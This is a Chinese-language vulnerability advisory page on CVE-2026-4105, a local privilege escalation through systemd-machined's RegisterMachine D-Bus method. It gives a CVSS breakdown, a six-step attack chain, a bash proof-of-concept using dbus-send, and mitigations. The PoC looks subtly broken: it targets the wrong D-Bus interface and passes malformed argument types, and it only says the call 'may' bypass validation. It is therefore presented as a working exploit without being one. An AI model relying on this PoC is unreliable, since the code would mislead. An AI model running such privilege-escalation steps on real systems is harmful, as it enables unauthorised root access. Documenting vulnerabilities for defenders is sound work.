IPBUF安全漏洞报告
English
CVE-2026-4105 CVSS 6.7 中危

CVE-2026-4105 systemd-machined服务不当访问控制导致本地权限提升

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-4105
漏洞类型
不当访问控制
CVSS评分
6.7 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
systemd(systemd-machined)

相关标签

systemdsystemd-machined不当访问控制本地权限提升D-BusCVE-2026-4105LinuxRed Hat权限提升提权漏洞

漏洞概述

CVE-2026-4105是Linux系统核心组件systemd中systemd-machined服务的一个中等严重度安全漏洞。该漏洞源于RegisterMachine D-Bus方法的class参数验证不足,允许本地非特权用户通过特定方式注册机器对象并获取对特权对象的访问权限。攻击者利用此漏洞可以在目标系统上以root用户权限执行任意命令,实现完整的系统权限提升。此漏洞需要用户交互且攻击复杂度较高,但一旦成功利用将导致系统完全沦陷,建议相关用户尽快应用安全更新。

技术细节

systemd-machined是systemd套件中负责管理虚拟机和容器等机器对象的系统服务。漏洞存在于该服务的RegisterMachine D-Bus方法中,具体是对class参数缺乏充分的访问控制验证。本地攻击者可以通过发送特制的D-Bus消息,尝试使用特定的class值注册机器对象。由于验证机制不完善,系统会创建可被攻击者控制的机器对象实例。攻击者随后可以调用该对象上的特权方法,利用systemd-machined服务以root身份执行任意系统命令。此漏洞利用需要攻击者具备本地访问权限并能够与D-Bus进行交互,攻击复杂度为高。CVSS 3.1向量为AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H,综合评分6.7。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的本地访问权限,使用低权限账户登录系统
STEP 2
步骤2
攻击者识别systemd-machined服务正在运行,并了解D-Bus接口结构
STEP 3
步骤3
攻击者构造恶意的RegisterMachine D-Bus请求,使用特定的class参数值
STEP 4
步骤4
由于systemd-machined对class参数验证不足,系统创建攻击者控制的机器对象
STEP 5
步骤5
攻击者通过创建的机器对象调用特权方法,利用服务权限执行任意命令
STEP 6
步骤6
成功实现本地权限提升,获得root用户权限,完全控制目标系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2026-4105 PoC - systemd-machined Improper Access Control # This PoC demonstrates the class parameter validation issue # Check if dbus-send is available if ! command -v dbus-send &> /dev/null; then echo "dbus-send not found. Install dbus-tools first." exit 1 fi # Target D-Bus path for systemd-machined DBUS_PATH="/org/freedesktop/machine1" DBUS_IFACE="org.freedesktop.machine1.Machine" # Attempt to register a machine with attacker-controlled class parameter echo "[*] Attempting to exploit CVE-2026-4105..." echo "[*] Target: systemd-machined RegisterMachine method" # This attempts to register a machine with a specific class value # that may bypass proper access control validation dbus-send --system \ --dest=org.freedesktop.machine1 \ --print-reply \ "$DBUS_PATH" \ "$DBUS_IFACE.RegisterMachine" \ string:"attacker_machine" \ array:string:"class=privileged" \ string:"" \ dict:string:variant:"" echo "[+] If successful, this creates a controllable machine object" echo "[+] Attacker can then invoke privileged methods on the object"

影响范围

systemd < 255.4-1.el8
systemd < 255.4-1.el9
systemd < 255.4-1.el10
Red Hat Enterprise Linux 8
Red Hat Enterprise Linux 9
Red Hat Enterprise Linux 10

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施缓解风险:1) 限制非特权用户对D-Bus系统总线的访问权限;2) 使用polkit策略限制machine1服务的访问控制;3) 通过SELinux或AppArmor强化systemd-machined的强制访问控制;4) 监控审计日志,及时发现异常的机器注册和D-Bus方法调用行为;5) 考虑在不需要时禁用systemd-machined服务。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表